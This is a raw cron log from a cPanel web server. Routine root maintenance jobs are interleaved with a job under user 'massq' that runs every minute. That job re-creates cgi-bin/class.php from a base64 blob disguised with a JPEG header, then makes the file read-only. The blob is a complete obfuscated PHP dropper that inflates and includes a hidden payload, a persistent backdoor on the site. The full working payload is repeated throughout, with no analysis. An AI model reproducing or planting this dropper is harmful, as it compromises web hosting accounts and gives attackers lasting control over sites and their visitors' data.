Sep  4 10:39:01 server CROND[21369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:40:02 server CROND[21767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:40:02 server CROND[21768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:40:02 server CROND[21774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:40:02 server CROND[21776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:40:02 server CROND[21778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:40:02 server CROND[21784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:40:02 server CROND[21780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:40:02 server CROND[21782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:41:01 server CROND[22658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:41:01 server CROND[22659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:41:01 server CROND[22660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:42:01 server CROND[23206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:42:01 server CROND[23207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:42:01 server CROND[23208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:42:01 server CROND[23209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:43:01 server CROND[23587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:43:01 server CROND[23588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:43:01 server CROND[23589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:44:01 server CROND[24116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:44:01 server CROND[24117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:44:01 server CROND[24118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:45:01 server CROND[24505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:45:01 server CROND[24520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:45:01 server CROND[24519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:45:01 server CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:45:01 server CROND[24523]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:45:01 server CROND[24521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:45:01 server CROND[24528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:46:01 server CROND[25346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:46:01 server CROND[25347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:46:01 server CROND[25348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:47:01 server CROND[25732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:47:01 server CROND[25733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:47:01 server CROND[25734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:48:02 server CROND[26123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:48:02 server CROND[26124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:48:02 server CROND[26125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:49:01 server CROND[26591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:49:01 server CROND[26592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:49:01 server CROND[26593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:50:01 server CROND[26983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:50:01 server CROND[26985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:50:01 server CROND[26987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:50:01 server CROND[26992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:50:01 server CROND[26994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:50:01 server CROND[26993]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:50:01 server CROND[26995]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:50:01 server CROND[26996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:50:01 server CROND[26997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
